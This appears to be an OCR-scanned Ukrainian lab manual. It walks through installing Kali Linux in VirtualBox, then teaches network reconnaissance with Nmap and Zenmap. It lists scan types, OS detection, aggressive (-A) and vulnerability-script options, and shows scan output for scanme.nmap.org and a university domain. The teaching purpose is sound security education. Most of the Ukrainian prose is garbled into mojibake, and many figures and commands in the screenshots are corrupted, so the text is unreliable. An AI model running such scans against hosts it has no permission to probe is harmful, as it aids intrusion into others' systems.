¥ Create Virtual Machine ? x

Virtual machine Name and Operating System

Please choose a descriptive name and destination folder for the new virtual machine. The name you choose will be
used throughout VirtualBox to identify this machine. Additionally, you can select an IS0 image which may be used to
install the guest operating system.

Mame: |Ka|i | ‘:?

Folder: | C:\sers' (I /ir tualBox VMs V|
150 Image: | ] €:\Users (Y Downloads kali-inux-2022, 4ive-amds4.iso V|
Edition:

Type: |Linux ?D

Version: | Debian (54-bit)

[] skip Unattended Instalation

@ Detected OS type: Debian (64-bit). This OS5 type can be installed unattendedly. The install will start
after this wizard is dosed.

Help Expert Mode Back Cancel

Pucynok 1.2 — OGepiTh Ha3By BipTyalibHOI MalinHy, HULIX A0 [SO-o6pasa ta
HATUCHITH «Next»
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¥ Create Virtual Machine ? x
Unattended Guest 0S Install Setup
You can configure the unattended guest OS5 install by modifying username, password, and hostname.
Additionally you can enable guest additions install. For Microsoft Windows guests it is possible to provide
a product key.
Username and Password Additional Options
El'DdLIEtKE".-': s b s e e e il s i s o s
Username: |\rbuxuser | (5’
Hostname: |Ka|i | Q;?
Password: |-------- fi"j| )
Domain Mame: |myguest.virmalbox.org |
Repeat Password: |umuu- &'}|
[] tnstall in Background
[] Guest additions
Guest Additions IS0: |j C:\Program Files\Orade\WirtualBox\WBoxGuestAdditions.iso
Pucynoxk 1.3 — Hidoro He 3MiHIOIOYM HATUCHITH «Nexty
¥ Create Virtual Machine ? *
Hardware
You can modify virtual machine's hardware by changing amount of RAM and virtual CPU count. Enabling
EFI iz also possible.
Base Memory: ' 2048 MB =
4 MB 5144 MB
Processors: '
1CPU 8 CPUs
[] Enable EFI (spedial Oses only)

Help

Pucynox 1.4 — O0epiTh KUIbKICTh OTIEPATUBHOI MaM'sITi 110 Oy BUAICHO IS
BIpPTyaJIbHOI MaIlIMHU (PEKOMEHI0BAHO BUILIUTH B 210 10 mpaBoi Mexi 3eeHo1
30HM) Ta KUTBKICTH S/Ap Tpoiiecopa (Bia 2 10 mpaBoi Mexi 3eJI€HOT 30HU)
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¥ Create Virtual Machine ? x

Virtual Hard disk

If you wish you can add a virtual hard disk to the new machine. You can either create a new hard disk file
or select an existing one. Alternatively you can create a virtual machine without a virtual hard disk.

(®) Create a Virtual Hard Disk Now

Disk Size: ' 40.00 B

4,00 MB 2.00TB
Pre-allocate Full Size

() Use an Existing Virtual Hard Disk File
[ keali, wdi (Mormal, 40,00 GE)
() Do Mot Add a Virtual Hard Disk

Help Back Cancel

Pucynok 1.5 — O6epits "Create a Virtual Hard Disk Now", Buainite mam’ste J1s
cuctemu (miHiMansHu 06’ eM — 20 I'6, pekomenioBanuii — 40I°0), 06epiTh
“Pre-allocate Full Size” Ta HaTucHITh “Next”

¥ Create Virtual Machine ? 4
Summary 0 Al & @
The following table summarizes the configuration you have chosen for the new ] i
you are happy with the configuration press Finish to create the virtual machine,|  Creating medium ... P
back and modify the configuration. . e
"{.;’ Machine Name and 05 Type

Machine Name Kali
Machine Folder C:/Users (/ vir tualBox VMs,Kali
IS0 Image C:\Wsers WP 'O ownloadskaliHinux-20
Guest O3 Type Debian (54-bit)
Skip Unattended Install falzse
[B Unattended Install
Username vboxuser
Product Key false
Hostname Domain Mame kali. myguest. virtualbox.org
Install in Background false
Install Guest Additions false
{:} Hardware
Dmme KA I WLAD
]
Help Back:

Pucynox 1.6 — HarucuiTs “Finish”, micyis 4oro nouHeTbcs Mpoiec CTBOPEHHS
BIPTyaJIbHOI MallIUHU
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[Ticnst cTBOpEHHS BIpTYyaIbHOT MAIIMHU, IEPEHTIIOBINN Y HAJTAINTYBaHHS, MOKHA
3MIHUTH J€SKl BJIACTUBOCTI BIPTyaJlbHOI MAaIIMHH, 1100 ONTHUMI3yBaTH ii MiJ CBOI
noTpedu abo pecypcu Ppi3MIHOT MAIIMHHU.

¥ Oracle VM VirtualBox Manager - O >

File Machine Help
A
ﬁﬁﬁ Tools
P Kali — E General HaTUCHITE E Preview
(I8} ) ponered off Narme: Kali
Operating System: Debian (54-bit)

System

Base Memory: 2043 MB

Processors: ot

Boot Order: Floppy, Optical, Hard Disk
Acceleration:  Mested Paging, KVM Paravir tualization

(]

|§] Display
Storage

Controller: IDE

IDE Secondary Device 0:  [Optical Drive] Empty
Controller: SATA

SATA Port O: Kali.vdi (Mormal, 40.00 GEB)

{0 Audio

Host Driver:  Default
Controller:  ICH ACS7

=P Network
Adapter 1:  Intel PRO/1000 MT Desktop (MAT)

(7 uss

USE Controller: OHCI, EHCI
Device Filters: 0 (0 active)

ch A £ald

Pucynox 1.7 — HatucHiTs “Settings” aJis mogaiblioro HajlamTyBaHHS BIpTyalbHOL
MaIIHHA

Jl5ig 3amycky BipTyasIbHOI MalllMHU HATUCHITH “Start”.
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¥ Oracle VM VirtualBox Manager - O X

File Machine Help

ggg - P &

New  Add Settings D
= General HaTucHiTe ™ preview

[ —
o Pou\ered Off g= Mame: Kali

Operating System: Debian (54-bit)

System

Base Memory: 2048 MB

Processors: &

Boot Order: Floppy, Optical, Hard Disk
Acceleration:  Mested Paging, KVM Paravirtualization

@ Display
@ Storage

Controller: IDE

IDE Secondary Device 0:  [Optical Drive] Empty
Controller: SATA

SATA Port 0: Kali.vdi (Marmal, 40.00 GB)

{0 Audio

Host Driver: Default
Controller:  ICH AC97

= Network
Adapter 1:  Intel PRO/1000 MT Desktop (MAT)

L5 use

USE Controller: QHCI, EHCI
Device Filters: 0 (0 active)

LA ch A £ald

Pucynox 1.8 — Harucuits "Start"

Y HOBOMY BIKH1 00€piTh JIUCK, sIKUii Oyie BUKOPUCTAHO SIK 3aBAHTAKyBaJIbHUMN
i 4ac MEepIIoro 3amycKy BipTyalbHOI MalimHU, Ta HathcHITH “Mount and Retry
Boot” (Pucynoxk 1.9).

o bootable medium found?
Flease insert a bootable medium and reboot.

VirtualBox Vi 7 s

The virtual machine failed to boot. That might be caused by a
missing operating system or misconfigured boot order.
Mounting an operating system install DVD might solve this
problem. Selecting an ISO file will attempt to mount it after the
dialog is dosed.

DVD: | <not selected =
<not selected =

L] Do 9 [2] other..

Boes |Ei i @rightc

Pucynoxk 1.9 — O0epiTh 3aBaHTaKyBaJIbHUM TUCK
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[Micns 3aBanTaxeHHs: 00epiTh myHKT “Start Installer” ta warucuite Enter. Ha
ckpinmoTtax Hrkue (Pucynok 1.10-1.18) moka3zani OCHOBHI MOMEHTH, Ha SIKI BapTO

3BEpHYTH YyBary Iiji 4ac BCTAHOBJICHHSI CUCTEMHU Ha BIPTyaJbHY MAIlMHY — yC€ 1HIIIE
MO>KHA 3aJIUIIATH 32 3aMOBUYBAHHSIM.

KALI

Kali Linux live menu (BIOS mode)

Live system (amd64)

Live system (amd64 fail-safe mode)

Live system (amd64 forensic mode)

Live system with USB persistence (check kali.org/prst)
Live system with USB Encrypted persistence

Start installer

Start installer with speech synthesis

Advanced install options

Utilities

Pucynok 1.10 — O6epitp “Start installer”

| KALI I

A user account will be created for you to use instead of the root

Set up users and passwords

for dministrative activities.

Please enter the real name of this user. This information will be used for instance as default origin for emails

sent by this user as well as any program which displays or uses the user's real name. Your full name is a
reasonable choice.

Full name for the new user:

[ kali

s | Comm |

Pucynok 1.11 — BBenithb iM’s 1711 HOBOT'O KOpHCTyBada (MOKHa Oyb-sKe), i
BBEJIITh HOT0 HIKHEHMM (SIK LIbOI'O KOpUCTyBada Oye OauyuTH cucTtemMa)
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| KALI \

Set up users and passwords

A good password will contain a mixture of letters, numbers and punctuation and should be changed at
regular intervals.

Choose a password for the new user:

[] Show Password in Clear

Please enter the same user password again to verify you have typed it correctly.
Re-enter password to verify:

[oooooootooood

] show Password in Clear

[ Go Back H Continue

Pucynok 1.12 — CTBOpiTH Mapois AJisi HOBOTO KOPHUCTyBayda

‘ KALI \

Configure the package manager

A network mirror can be used to supplement the software that is included on the installation media. This may
also make newer versions of software available.

Use a network mirror?

) No
@ [ves

| Gosack || continue |

Pucynok 1.13 — O6epith “Yes” anst BUKOpUCTaHHS Mepexki At oHoBJIeHHs [13, 1o
BCTaHOBIIIOETHCS, OJIpa3y IiJl 4ac 1HCTANSLIT
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‘ KALI \

Configure the package manager

If you need to use a HTTP proxy to access the cutside world, enter the proxy information here. Otherwise,
leave this blank.

The proxy information should be given in the standard form of "http://[[userll:passl@lhostl:port]/ .
HTTP proxy information (blank for none):

| Screenshot ‘ ‘ Go Back ‘ [ Eontinue ]

Pucynok 1.14 — SIkmmo BUKOpUCTOBYBATH MPOKCI HEMa€e HEOOX1THOCTI — JIMIIITH TOJIe
nmycTtuM 1 HaTUCHITH "Continue"

[Ticnst Toro, SIK BU MpoiiieTe BUILIE3ra a1 KpokHu (X MOCTIJOBHICTh MOXKE OyTH
3MIHEHA y PI3HUX BEPCIsiX 1HCTAIsATOpA), Oy 1€ 3alPOIIOHOBAHO PO3MITUTH TUCK. Y pasi
IHCTAJIALIT CHCTEMH Ha BIpTyallbHy MAIIMHY 00€piTh MYHKT 3@ 3aMOBUYBaHHSM, SIK Ha
Pucynky 1.15. B iHImmx BUmaakax JucK HEOOX1HO PO3MIYATH BUXOMSUU 3 TOTOYHUX
oOctaBuH. BapTo 3Haru, 110 omepaiiiiiHa cuctema LinuX BuMarae 000B’SI3KOBOT
HasIBHOCTI JTUCKIB:

— 3 TOYKOIO MOHTYBaHHS «/» Ta (haisioBoro cucteMoro ext3 abo ext4 (MokiuBi
¥ iHII BapiaHTH, Oa)KaHO BUKOPUCTOBYBATH EXt4);

— JHCKY 3 Toukoto MoHTyBaHHs SWAP (swap) — 3 daitioBoro cucteMoro swap;
ONTHUMAJIBHUM PO3MIp LBOrO JAHUCKY —00’€M ONEpaTUBHOI MHaM’sITI KOMII IOTepa
IIOMHO>XEHHUI Ha JIBa.
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| KALI |

Partition disks

The installer can guide you through partitioning a disk (using different standard schemes) or, if you prefer,

you can do it manually. With guided partitioning you will still have a chance later to review and customise the
results.

If you choose quided partitioning for an entire disk, you will next be asked which disk should be used.
Partitioning method:

Guided - use entire disk

Guided - use entire disk and set up LVM

Guided - use entire disk and set up encrypted LVM
Manual

| Gomack || continue |

Pucynox 1.15 — Jlyst Toro mo0 BUKOpUCTATH BeCh TUCK 00epiTh "use entire disk", mis
PYy4YHOI pO3MITKU — 00epiTh "Manual"

| KALI |

If you continue, the changes listed below will be written to the disks. Otherwise, you will be able to make
further changes manually.

Partition disks

The partition tables of the following devices are changed:
SCSI3 (0,0,0) (sda)

The following partitions are going to be formatted:
partition #1 of SCSI3 (0,0,0) (sda) as ext4
partition #5 of SCSI3 (0,0,0) (sda) as swap

Write the changes to disks?
) No
@ |Yes

Pucynok 1.16 — Ilicas po3aMiueHHs TUCKY (151 BIpTyaJIbHOT MaIllMHU MOKHA OOMpaTu
omiii 3a 3aMOBUYBaHHIM) TpeOa MIATBEPIAUTH PO3MITKY, HATUCHYBIIHU “Yes”
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[licns 3aBeprienHs iHcTansmii Oyae 3amporoHoBaHo BcraHosutu GRUB
(Pucynok 1.17) — norogpTecs Ta 00epiTh AUCK, Ha sikoMy BcTaHoBieHo OC. Ilicms

I[bOT0 Oy/ie BUBEACHO MOBIIOMIICHHS 1po ycmimny iHcTamsiio OC (Pucynok 1.18).
Ha upomy posropranHs cucteMu 0yJie 3aBepIleHO.

| KALI |

It seems that this new installation is the only operating system on this computer. If so, it should be safe to
install the GRUB boot loader to your primary drive (UEFI partition/boot record).

Install the GRUB boot loader

Warning: If your computer has another operating system that the installer failed to detect, this will make that
operating system temporarily unbootable, though GRUB can be manually configured later to boot it.
Install the GRUB boot loader to your primary drive?

) No
© ves

r— (Lsonas ) ((gominee )

Pucynoxk 1.17 — OGepith "Yes" Ta HatucHITh Enter

| KALI I

Installation complete
Installation is complete, so it is time to boot into your new system. Make sure to remove the
installation media, so that you boot into the new system rather than restarting the installation.

Finish the installation

Please choose <Continue> to reboot.

(Setsonsnor (cosa | ([conimee

Pucynox 1.18 — [ucransiito 3aBepiieHo, HaTUCHITH "Continue"
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| Eile
| Kali

Cucrtemy BCTAHOBJICHO, Jall MOXXHA pPOOUTH TMOTPIOHI HAaJAIITyBaHHS,
HATUCHYBIIM Ha MIECTEPHIO, OO Kpallle MPUCTOCYBaTH BIPTyaJlbHY MAIIMHY 0
nmoTpeo.

BipTyanpHa MammHa MOXKE 3aXOMUTH BBEICHHS 3 KJaBiaTypu Ta Kypcop; 100
MOBEPHYTHCS 0 T'OJOBHOI cuctemu, HaTHCHITH “Right CtrI” abo ixmry kmasimry,
BKa3zaHy y MpaBOMY HH)KHBOMY KyTi BiKHA BipTyasibHO1 MamHu (Pucynok 1.19). Lo
KJIaBilITy MO’KHA 3MIHUTH y HaJallITyBaHHSIX.

us 4 19 Feb,19:07 O

XocT-knasiwa

Bok@o! mEd® e Rty |

Pucynox 1.19 — Ha3Ba xocr-kiaBiiiii, sika 3HIMa€e 3axBat KJIaBiaTypH Ta Kypcopa

OcTraHHIM KpOKOM € OHOBJIEHHS cuctemu Ta [13 g0 akrtyanwsHOi Bepcii. Jliis
bOro micyisg aBTeHTUu(ikalli BigkpuiTe Tepminan (Pucynok 1.20) Ta BBeaiTh Taki
KOMaH/IH:

e sudo apt update
e sudo apt full-upgrade -y

[lepmra komaHga OHOBITIOE 0a3y MaHUX 3 1H(GOPMAIIIEIO TTPO MPOTPAMHI MAKETH,

Jpyra — OHOBJIFOE yCl MOJJIMBI TMaKeTH. PEKOMEHJOBAaHO OHOBUTU CHUCTEMY
3a37aserijb, akKe mepiie OHOBJIECHHS MOKE 3aHATH OLIbIIe Yacy, HiK MOIaJIbIIII.
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B mm PO 23 4
T III-

' 3 kali@kali: ~
File Actions Edit View Help

Trash

~

update

E L2 tt t.lv/kali kali-rolling InRelease

File Syste _ Done
Run

(]

apt list —upgradable' to see them.

o} full-upgr

. Done
g . information ... Done
C ulating u . D
The following Wers . . talled and are no longer require

sphinx-
Use "sudo a
The foll«

libgte: 5
The following NEW

Pucynok 1.20 — Bigkpuiite TepmiHa Ta BBEIITh 3rajjaHi KOMaHIU (MOMIJIUBO
noTpioHO Oyje BBECTH MAPOJIb)

3aBaaHHA:

— posropHytu BipryansHy MmamuHy 3 Kali Linux (abo ampTepHATHBHUM
TUCTPUOYTUBOM, Y TAKOMY BUTIAJKY OOIPYHTYBaTH BUOID);

— OHOBHTH CUCTEMY, O3HAHOMUTHCS 3 11 iHTEepdericom, 3p0OUTH CKPIHIIOT BiKHA
HaJalITyBaHb 3 1HHOPMAIIIEIO TIPO CUCTEMY;

— JIOJIATKOBO: BCTaHOBUTH Live-oOpa3 cucremu Ha Quem-kapty is
MOJIAJIBIIIOTO ayJUTy O€3APOTOBUX MEPEK.
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JlaGopaTopna podota Ne 2

Tema: IHcTpyMeHTH TIpUXOBaHOTO 300py TexHIYHOI 1H(opmarii 3
KOMIT FOTEpPHOT CUCTeMH a00 MEpEexKi.

Mera: OtpumaT 3HAaHHS Ta HAaBUYKM KOPHUCTYBaHHS IHCTpyMEHTaMU
IPUXOBAHOTO 300py TeXHIYHOI 1HpOpMaIli 3 Mepeki a00 KOMIT IOTEPHOI CUCTEMH.

Teopernuni Bitomocri

Bbynb-axuit aynut iHbopMaliiitHoi O6e3meKu opranizallii MOUYMHAETHCS 13 300py
1HbopMaIlii mpo:

— KpaiHy Jie PyHKIIIOHY€ OpraHi3allis;

— oprasi3alio Ta ii JIsJIbHICTb;

— KOMIT IOTE€pHI Mepe:Ki Oprasizaiiii,

— KOMIT IOTE€PH1 CUCTEMHU 10 (DYHKIIIOHYIOTh B OpTaHi3allii;

— TIpalliBHUKIB.

binbmiicte 1HQOpMaIli MOXIMBO OTPUMATH 3 BIAKPUTHX JUKEPEN, NEIKY
iH(dopMaIlito Hajlae cama opraHizaillisi, ajie Taka iHpopMallis, HailyacTiiie, BUSBUTHCS
HEaKTyaJbHOIO a00 HE B HEOOX1JHOMY (pOpMaTi, OCOOJIUBO 11€ CTOCYETHCS TEXHIYHUX
naHux. TexHiuH1 JaH1, 1o OyayTh BUKOPUCTOBYBATHUCH IT1]T YAC ayAUTY 1HPOPMALIIIHOI
0e3reKkr, 00OOB’A3KOBO MOBHHHI OyTH aKTyajlbHI, OUIbII TOro, OUIBIIICT 3 HHUX
MOBUHHA 30MpaTHCsl MeBHUM yac abo y meBHUM uac. Hampukian, qis toro, mo0
BUSIBUTH BIJIPI30K Yacy, KOJU 3pOCTa€ HAHOUIbII MOTEHIIHHO HeOe3MneuHa IIsIbHICTh
KOPHUCTYBaviB.

IcHye BenMKa KUIBKICTh PI3HOMAHITHUX METOMIB Ta 3ac001B 300py TEXHIYHOI
indopMmariii, ogHak HaiOLIbH mommpenum 3 Hux € Nmap (https://nmap.org/download)
(Pucynoxk 2.1). st Nmap Oyso po3po0IeHO rpadiuamii
inTepdeiic — Zenmap (https://nmap.org/zenmap/) (Pucynok 2.2).
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https://nmap.org/download
https://nmap.org/zenmap/

i | kali@kali: ~

File Actions Edit View Help
-A -T4 scanme.nmap.org

[sudo] password for kali:

irting Nm 7 ( https://nmap.org ) at 2i @1-15 17:45 EET
Warning: 45 156 giving up on port be retransmission cap hit (6).
Nmap scan repor £ ] 32.156)
Host is up (@.@3¢ \
Other addresses for scanme.nmap.org (not scanned): 26@@:3c@l::f
bb2f

STATE SERVICE VERSION
open ssh OpenSSH 6.6.1p1 Ubuntu Zubuntu2.13 (Ubuntu Linux;

http Apache httpd 2.4.7 ((Ubuntu})
: Go ahead and Sc
r-header: Apache/2.4.7 (Ubuntu)
iwvicon: Nmap Project
open nping-echo Nping echo
cp open tcpwrapped
type: bridgelgeneral purpose|switch
Oracle Virtualbox (97 QEMU (9 y Bay Networks em

Pucynox 2.3 — Koncoas 3 Nmap
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© Zenmap - O X
Scan  Jools Profile Help
Target: | scanmenmap.org ~ | Profile: | Intense scan ~ Scan Cancel

Command: | nmap -T4 -A -v scanme.nmap.org

Services Nmap Output Ports / Hosts Topology Host Details  Scans

0S5 4 Host - scanme.nmap.org (45.33.32.155)§
M  scanmenmap.org | 5 Host Status

State: up
Open ports: 4 @
Filtered ports: 0 s

Closed ports: 996
Scanned ports: 1000

Up tirne: 535590 . i

Last boot: Mon Jan 9 13:03:25 2023

-| Addresses
IPwd: 45.33.32.156

IPvE: Mot available
MAC: Mot available
-l Hostnames
Mame - Type: scanme.nmap.erg - user

Mame - Type: scanme.nmap.org - PTR

=| Operating System
Mame: Linux 2.6.32

+ Ports used
+ 0S8 Classes

+ TCP Sequence

Filter Hosts + IP I Seauence v

Pucynok 2.4 — I'padiunuii intepdeiic Nmap — Zenmap

Konconbra yrumita Nmap (Network Mapper) 5 ogHuM i3 HaWOUTBIIT MOTYXKHUX
MEpEeKEBUX CKAHEPIB Yepe3 CBOI0 THYYKICTh Y BUKOpHCTaHHI. Haitwactime Nmap
BUKOPUCTOBYETHCS Y AKOCTI CKaHEpa BIAKPUTUX IMOPTIB Ha I[UIbOBUX XOCTaX 1 BIH
MOX€E HaJaBaTH 1H(dOopMaIrito AK npo CTaTyC MOPTIB
(BIOKpUTHUI/3aKpUTHI/ (PIIBTPYETHCA), TaK 1 PO CEPBICH, SIKI BUKOPUCTOBYIOThH JIaHI
MOPTH, 1 HABITh CKAHYBAaTH iX HA BPa3JMBOCTI. 3a 3aMoBUyBaHHSAIM NMmap crnoyaTtky
CKaHy€, YM KUBI 1111, a TTOTIM MPOBOJUTH CKaHYBAaHHS TUX XOCTIB, 110 BIATOBIIN HA
3aIuT.

Nmap mae pi3HI TUNU CKaHYBaHHs (B 3aJICKHOCTI BIJl TUIY 3 €IHAHHSA Ta
HasgBHOCTI cucteM IDS uym (aepBoiniB), piBHI arpecMBHOCTI CKaHyBaHHS, MOXeE
CKaHyBaTH CKJIQJIHI CIIMCKHU IUJIEH Ta BIAMOBIIHI MHOXXWHU TOPTIB (IIUISIMU MOXYTh
OyTu momeHu, KOHKpeTH1 |P-agpecu 4 HaBITH 111 MEpExKi), 1a€ 3MOTY 3MIHIOBATH
JOBXKHHM Ta OKpEeMi 3HAYeHHS Y BUXIJHUX TMaKeTax JaHUX, MOXXE BUBOJUTH
pe3yNbTaTH CKaHYBaHHS y IEKUIBKOX (hopMaTax TOLIO.
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Bukopucrannss Nmap mae HacTynmHUN BUTIISI
CuHTaKCcHuc: nmap [<Tun ckaHyBaHHs>] [<onuii>] {<uijsp CckaHyBaHHSA>}

PosrnssHeMo ocHOBHI Tunu ckanyBaHHs Nmap:

-ss (TCP SYN ckanyBaHHS) — HAHOUIBII MOMIMPEHUN THIT CKaHYBaHHSI, 10
J03BOJISIE IIBUAKO MPOCKAaHYBaTH COTHI TOPTIB (JIOCTYNHHM TUIBKKM 3 MpaBaMu
aJMIHICTpaTopa);

-sU (UDP ckanyBaHHS) — I03BOJISIE CKAHYBaTH CEPBICH, 1[0 BUKOPHCTOBYIOTh
UDP npoToxko;

-sY (SCTP INIT ckanyBaHHS)— €KBiBAJICHT
anpTepHatuBa TCP ta UDP) mpoTokoiny;

-s0 (IP  ckanyBaHHs) — 103BOJIsie  Bu3HauuTH ki IP mportokommn
MIATPUMYIOTHCS HIJTLOBOK MAIIMHOIO.

PosrisitHeMo OCHOBHI OMIIiT CKaHyBaHHS NMap:

-p <mianazon mopTie>— JO3BOJISIE MPOCKAHYBATH NIEBHI J[1alla30HU MOPTIB;

-0A <HaszBa OGatury 6e3 posmmpenHa> — 30epirae pe3ynbTaT CKaHyBaHHS Y
BCIX JOCTYITHUX (popMaTax;

-F — IIBUJIKE CKaHyBaHHA TMOPTIB: 3a 3aMOBUYyBaHHAM NMap ckanye 1000
HalOIbII B)KMBAHUX MOPTIB, 151 OIS 3MEHIIY€E KUIbKICTh OpTIB 10 100;

-sC — 3aIycKae OCHOBHI ckpurit NMmap st B3aemMoii 3 cepBicamu (Te€ K came,
0 i ——script=default);

-sV — BU3HAYa€ BEPCIIO CEPBICY, 10 BUKOPHUCTOBYE MOPT;

-0 — BMUKAa€ BU3HAUYCHHS OIEpaIifiHOl CUCTEMU;

--script=vuln —aKTUBY€ ycCi CKpUNTH 3 O10J10TEKHM NMap, MoB’s3aHi 3
MOLIYKOM Bpa3InuBOCTEMN;

--script-help=<uasea NSE ckpunTa>— BUBOJUTh 1H(POPMAILIO PO
oOpaHuil CKpUIT;

-A — OISl arpecHBHOTO CKaHyBaHHS, IO BU3HAYa€ OMEpaIifiHy CHUCTEMY,
Bepcli cepBicCiB, Kl MOB’s3aH1 3 BIAKPUTUMHU MMOPTAMH, BUKOPUCTOBYE CIICHAPIi s
CKaHYBaHHA Ta BUKOHY€ TpaCyBaHHA (eKBiBaﬂeHT -0 -sV -sC ——traceroute);

-T<0-5>— OMIIisl, 110 3MIHIOE 4YacOBUM IIa0JIOH CKaHYBaHHS, 3MIHIOIOUYU
YaCTOTY 3aIUTIB Ta YaC OUIKYBaHHS (-T3 — HOPMAJIbHHUM PEKUM 32 3aMOBUYBAHHSIM; —
T4 — arpeCUBHUN PEXUM, MOTPEOye MBUAKOT Ta HAIIMHOI MEPEKI).

e — nmume yacTUHA OMITiH Ta TUIIB CKAaHYBAaHHS, III0 BUKOPUCTOBYIOTHCS Nmap;
OuTbIlIe MPO HUX MOXKHA JI3HATHCS 3a JOMOMOTOK KOMaHIU ‘“man nmap . Bapto
3ayBaKUTH, 10 1HCTpyMeHT NMap HACTLIbKHU MOTY>KHUM, 1110 Ma€ CBOIO CKPUIITOBY
MoBYy — NSE, sxa 103BoJis€ Opra”izoByBaTH MJyK€ CKJIaJHI MEXaHi3MH 300py
iH(popMmarii.

binbie npo 11e MoXHa Ai3HaTucs Ha odiliiiHOMy caiTi NMap 3a MOCHIAHHIM
https://nmap.org/book/nse-usage.html.

['pacdiuna obomorKa ZENMAP 103BOJISE MIBUAKO MPOAHATI3yBaTH MEPEXKY a0
KOMIT FOTEpHY CHUCTEMY 3aBJISIKU JICKUTHKOM B)K€ HAJIAIITOBAHUM pEeXUMaM. TUM He
MEHIII, 3a3BUYail iX HEIOCTAaTHBO /I OTPUMAHHS MOBHOI KapTHHU cuTyarii. OkpiM

(15 29

-ss” mms SCTP (HoBima
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https://nmap.org/book/nse-usage.html

3pYYHOCTI BUKOPHUCTAHHS, OJHIEI0 3 BaroMuX IepeBar € aBTOMAaTHYHA MOOYyI0Ba
rpady/TonoJIorii Mepexi, sika CKaHy€eTbCs. biabIn TOro, sl TOMOJIOTIS 1HTEPaKTUBHA,
10 J03BOJISIE PO3TIIAAATH MEPEXy, TaKk OW MOBHTH, MiJ 3pYYHHM JUIsI CIIeliaicTa
kytoM. Ille oxniero meperaror Zenmap € mpoCTHil 1 3pO3yMUIHM criociO 30epiraHHs i
BIJIKPUTTS MOIEPEIHIX CKaHyBaHb. ZENMAP JT03BOJIIE POOUTH CBO1 0COOHMCTI mMpodimi
(1rabs10HM) CKaHyBaHb JIS MOJAIBIIOrO iX BUKOpUCTaHHs. PosrissHeMo iHTepdeiic
Zenmap aeTtajbHiIle.

“ Zenmap - O *
Scan Tools  Profile Help

Target: | kntukr.ua ~ | Profile | Intense scan ~ Scan Cancel

Command: | nmap -T4 -4& -v kntu.kr.ua

Services MNmap Output Perts / Hosts Tepology Host Details  Scans

0s 4 Host nmap - T4 -A -v kntu.kr.ua ~ Details
6] scanme.nmap.org | cpe:fo:linux:linux_kernel:3.2.8 ~
I o Aggressive 05 guesses: AVtech Room Alert 26W environmental monitor (98%), FreeBsD
¥ kntukr.ua (195.230 Srrerarrryr (89%), Epson Stylus Pro 488 printer (88%), Netgear WGR614v7 wireless
broadband router (86%), Blue Coat PacketShaper appliance (85%), Tomato 1.27 - 1.28
(Linux 2.4.2@8) (85%), Linux 3.2.8 (85%)
Mo exact 05 matches for host (test conditions non-ideal).
Uptime guess: @.888 days (since Sun Jan 15 17:56:57 2823)
Network Distance: 7 hops
TCP Sequence Prediction: Difficulty=264 (Good luck!)
IP ID Seguence Generation: Busy server or unknown class
Service Info: Host: mail.kntu.kr.ua; 0Ss: FreeBSD, Linux; CPE: cpe:/
o:freebsd:freebsd, cpe:fo:linux:linux_kernel

TRACERQUTE (using port 88/tcp)

HOP RTT ADDRESS

2.88 ms 192.168.8.1

3.88 ms 45-185-57-252.broadband.kyivstar.net (46.185.57.252)
22.88 ms dtel-ix.kyivstar.net (193.25.180.88)

22.88 ms dtel-ix.infocom.ua (193.25.1808.231)

24.88 ms h93.212-1-125.ukrpack.net (212.1.125.93)

24,88 ms 195.230.140.90

25.88 ms ns.kntu.kr.ua (195.230.1408.114)

= RV R FYR S

NSE: Script Post-scanning.
Initiating NSE at 17:57
Completed NSE at 17:57, ©.88s elapsed
Initiating NSE at 17:57
Completed NSE at 17:57, 8.88s elapsed
Initiating NSE at 17:57
Completed NSE at 17:57, ©.88s elapsed
Read data files from: C:%“Program Files (x86)%Nmap
05 and Service detection performed. Please report any incorrect results at https://
nmap.org/submit/s .
Nmap donme: 1 IP address (1 host up) scanned in 44.99 seconds
& Raw packets sent: 2889 (95.648KB) | Rcvd: 45 (2.823KB)

Filter Hosts

Pucynok 2.5 — Bxianka “HOstS” — nepenik 3HaliICHUX XOCTIB; BKJIaJKa
“Nmap Output” — crangapTHHIA BUB1 NMap
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Zenmap - O x
Scan Tools Prefile Help
Target | kntu.kr.ua ~ | Profile | Intense scan ~| |Scan| |Cancel

Command: | nrmap -T4 -4 -v kntu.kr.ua

Hosts Mmap Output Ports / Hosts Topology Host Details Scans
Service - nmap -T4 -A -v kntu.kr.ua ~ Details
domain cpe:f;:linu;:linux_kérnél:B.z.B ' I t - ~
hit Agpressive 05 puesses: AVtech Room Alert 26W environmental monitor (98€%), FreeBSD

P 18.1-RELEASE (B89%), Epson Stylus Pro 48@ printer (B8%), Netgear WGRG14v7 wireless
imap breoadband router (86%), Blue Coat PacketShaper appliance (85%), Tomato 1.27 - 1.28

. (Linux 2.4.2@) (85%), Linux 3.2.@ (85%)
nping-echao Mo exact 0S5 matches for host (test conditions non-ideal).
pop3 Uptime guess: @.908 days (since Sun Jan 15 17:56:57 2823)

Network Distance: 7 hops
smtp TCP Sequence Prediction: Difficulty=264 (Good luck!)
IP ID Seguence Generation: Busy server or unknown class

smux Service Info: Host: mail.kntu.kr.ua; 05s: FreeBSD, Linux; CPE: cpe:/
cch o:freebsd:freebsd, cpe:/o:linux:linux_kernel
tcpwrapped TRACERQUTE (using port 88/tcp)
HOP RTT ADDRESS
1 2.88 ms 192.168.8.1
2 3.8 ms 45-185-57-252.broadband.kyivstar.net (46.185.57.252)
3 22.88 ms dtel-ix.kyivstar.net (193.25.180.88)
4 22.88 ms dtel-ix.infocom.ua (193.25.180.231)
5 24.88 ms h93,212-1-125,ukrpack.net (212.1.125.93)
& 24.88 ms 195.236.140.90
7 25.88 ms ns.kntu.kr.ua (195.230.140.114)

NSE: Script Post-scanning.
Initiating NSE at 17:57
Completed MSE at 17:57, ©.88s elapsed
Initiating NSE at 17:57
Completed MSE at 17:57, ©.88s elapsed
Initiating NSE at 17:57
Completed MSE at 17:57, ©.88s elapsed
Read data files from: C:\Program Files (x86)‘\Nmap
05 and Service detection performed. Please report any incorrect results at https://
nmap.erg/submit/s
MNmap done: 1 IP address (1 host up) scanned in 44.99 seconds
Raw packets sent: 2889 (95.648KB) | Rcwd: 45 (2.823KB)

Filter Hosts

Pucynok 2.6 — Briagka “Services” — BioOpaskeHHs yCiX 3HaHJICHUX CEPBICIB
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Zenmap — a X
Scan  Jools  Profile
Target | kntu.kr.ua ~ | Profile: |Intensescan ~| |Scan| | Cancel
Command: | nmap -T4 -A -v kntu.kr.ua

Hosts MNmap Outputl Ports / Hosts ITopoIngy Host Details  Scans
Service 4 Port 4 Protocol 4 State 4 Service 4 Version 4
domain e 2 tcp open  ssh OpenS55H 5.1p1 (FreeB5D 20080801; protocol 2.0)
